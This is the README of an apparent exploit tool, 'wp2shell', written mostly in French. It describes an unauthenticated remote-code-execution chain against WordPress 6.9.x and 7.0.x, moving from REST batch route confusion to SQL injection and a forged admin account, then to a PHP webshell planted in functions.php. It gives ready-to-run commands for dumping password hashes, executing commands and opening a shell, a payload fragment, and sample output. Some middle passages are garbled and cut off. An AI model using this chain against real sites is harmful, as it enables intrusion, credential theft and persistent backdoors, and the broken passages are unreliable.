
CVE-2026-63030 / wp2shell
Chaîne d'exploitation RCE WordPress. Non authentifiée. CVSS 9.8.
| Branche | Vulnérable | Corrigée |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Deux CVE enchaînées pour obtenir une exécution de code à distance non authentifiée :
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| Étape | CVE | Vecteur |
|---|---|---|
| 1 | CVE-2026-63030 | Désalignement d'index REST /batch/v1 désynchronise la validation de la répartition |
| 2 | CVE-2026-60137 | Le paramètre WP_Query author__not_in contourne absint() lorsqu'il est passé en chaîne |
| 3 | — | UNION SELECT forge des lignes wp_posts ; oEmbed → customizer → wp_insert_user |
| 4 | — | S'authentifier en tant qu'administrateur nouvellement créé |
| 5 | — | L'éditeur de thème injecte un webshell protégé par jeton dans le thème actif |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
Le point de terminaison batch de WordPress à /?rest_route=/batch/v1 accepte un tableau de sous-requêtes. Lorsqu'une sous-requête possède un chemin non analysable (///), un WP_Error est ajouté à $validation mais pas à $matches. La boucle de répartition associe alors la requête N au gestionnaire N+1 — ainsi, une requête validée selon un schéma est répartie vers un gestionnaire différent.
L'exploit envoie un batch imbriqué sur 3 couches où chaque couche utilise un amorceur de désynchronisation en position 0 pour décaler les indices. La requête la plus interne — validée comme un élément de type article unique (GET /wp/v2/posts/999999) — atterrit sur le gestionnaire de collection (posts->get_items()). Comme le schéma d'élément ne définit pas author_exclude, le paramètre passe sans être validé.
get_items() mappe author_exclude → author__not_in et le transmet à WP_Query. Lorsque author__not_in est une chaîne (et non un tableau), le bloc array_map('absint', …) est ignoré. La chaîne brute atterrit directement dans :
WHERE post_author NOT IN (<payload>)
La charge utile 0) UNION ALL SELECT …-- - ferme la liste NOT IN et ajoute du SQL arbitraire.
La table wp_posts de WordPress 7.0.x possède exactement 23 colonnes. En injectant une ligne forgée via UNION ALL SELECT avec orderby=none (supprime le ORDER BY final) et per_page=500 (maintient WP_Query en mode ligne complète), le titre de l'article forgé — portant un marqueur ||HEX|| — est reflété dans la réponse REST. Toutes les valeurs de chaîne utilisent des littéraux hexadécimaux MySQL (0x…) pour éviter les problèmes d'échappement des guillemets via l'encodage URL.
[embed] → WordPress crée 3 lignes oembed_cachewp_posts formant une chaîne de changeset du customizer[embed] s'exécute, déclenchant WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) et un mot de passe (Wp2!<random>)Se connecter en tant que nouvel administrateur → extraire le nonce de l'éditeur de thème → injecter un webshell PHP protégé par jeton au début du fichier functions.php du thème actif → y accéder via ?t=<token>&c=<command>.
wp_remote_post() avant l'enregistrement. Si le conteneur ne peut pas s'atteindre lui-même par son nom d'hôte, la modification du thème est bloquée. Utilisez --dump-users + une connexion manuelle dans ces cas.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Cet outil est destiné uniquement à la recherche en sécurité autorisée et à des fins éducatives. Ne l'utilisez que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.